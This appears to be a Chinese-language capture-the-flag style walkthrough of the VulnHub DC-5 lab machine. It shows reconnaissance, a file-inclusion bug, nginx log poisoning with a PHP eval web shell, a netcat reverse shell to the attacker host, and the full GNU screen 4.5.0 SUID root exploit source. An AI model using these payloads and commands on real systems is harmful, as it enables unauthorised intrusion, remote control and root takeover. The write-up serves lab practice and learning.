DC-5靶机

一.环境搭建

1.下载地址

靶机下载地址：https://download.vulnhub.com/dc/DC-5.zip

2.虚拟机配置

切换nat模式，有问题全选重试和是，打到这了，我感觉这个配置我都不用写了，启动靶机如下图所示即可

二.开始渗透

1.信息收集

同样，扫描kali同一网段，查看靶机的ip地址

arp-scan -l

得到靶机ip地址为192.168.111.133，kali（攻击机）ip地址为192.168.111.128

 用nmap扫描一下靶机开启了什么端口和服务

nmap -p- -sV 192.168.111.133

 开启一个http，去浏览器看看这个http服务

 翻译一下他的文章内容

 啥玩意没有，点击contact，发现一个留言板，测试了xss啥也没有

用目录扫描工具进行目录扫描

dirsearch -u http://192.168.111.133

 

扫描到几个比较可疑的路径footer和thankyou，点击进去看看

刷新他们俩的界面，日期会随机改变，thankyou.php引用了footer.php 

尝试文件包含读取thankyou.php文件和其他文件，发现有内容输出

http://192.168.111.133/thankyou.php?file=php://filter/convert.base64-encode/resource=./thankyou.php

读取/etc/passwd，可以看到读取内容 

2.获取shell

得知文件包含漏洞，我们可以在ssh日志，中间件日志以及临时文件中写入一句话木马然后进行包含，即可解析。我们可以利用nginx日志写入一句话木马

whatweb -v http://192.168.111.133

根据这个工具我们可以得知这个网站的中间件为nginx

在url中构造一个一句话木马并且访问，日志会记录下来

http://192.168.111.133/<?php @eval($_POST['mlws']); ?>

上面那个没试过，下面这个试了成功， 都需要在bp中进行操作

/thankyou.php?file=<?php @eval($_POST['mlws']);?> 

一般来说linux的nginx访问日志放在如下目录

/var/log/nginx/access.log

错误日志路径如下

/var/log/nginx/error.log

构造如下url

http://192.168.111.133/thankyou.php?file=/var/log/nginx/access.log

上面的这个链接试过了可以访问，下面这个链接没试过（可以尝试一下） 

http://192.168.111.133/thankyou.php?file=/var/log/nginx/error.log

 以上操作要在bp中发包，我直接在浏览器中修改，不知道为什么无法写入

如上图所示，我试了在浏览器中无法写入日志，打开蚁剑连接shell

 3.反弹shell

kali端启一个端口监听

nc -lvvp 4444

在蚁剑打开终端，输入如下命令

nc 192.168.111.128 4444 -e /bin/bash

用python创建一个交互式的shell

python -c 'import pty;pty.spawn("/bin/bash")'

 4.提权

进行suid提权，执行如下命令

find / -perm -u=s -type f 2>/dev/null

可以看到一个screen-4.5.0，在kali的漏洞库查看是否有提权漏洞

searchsploit screen 4.5.0

刚好有两个本地权限提升的漏洞可以利用，查看漏洞的具体内容

searchsploit -p 41154

 查看文件的内容

cat /usr/share/exploitdb/exploits/linux/local/41154.sh

得到如下内容

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

 先将第一部分写入libhax.c文件中

第一部分

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}

然后进行编译

gcc -fPIC -shared -ldl -o libhax.so libhax.c

将中间的代码存入rootshell.c中

中间部分代码

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

 进行编译

gcc -o rootshell rootshell.c

剩余的代码保存到dc5.sh

echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell   

并且输入

:set ff=unix

将如下三个文件上传至/temp目录下（注意：不是/var/temp）

给予运行权限

chmod 777 dc5.sh

./dc5.sh

 无法执行脚本，发现很多wp都有提到这个问题，不知解决方法，也尝试了exim4，也是无效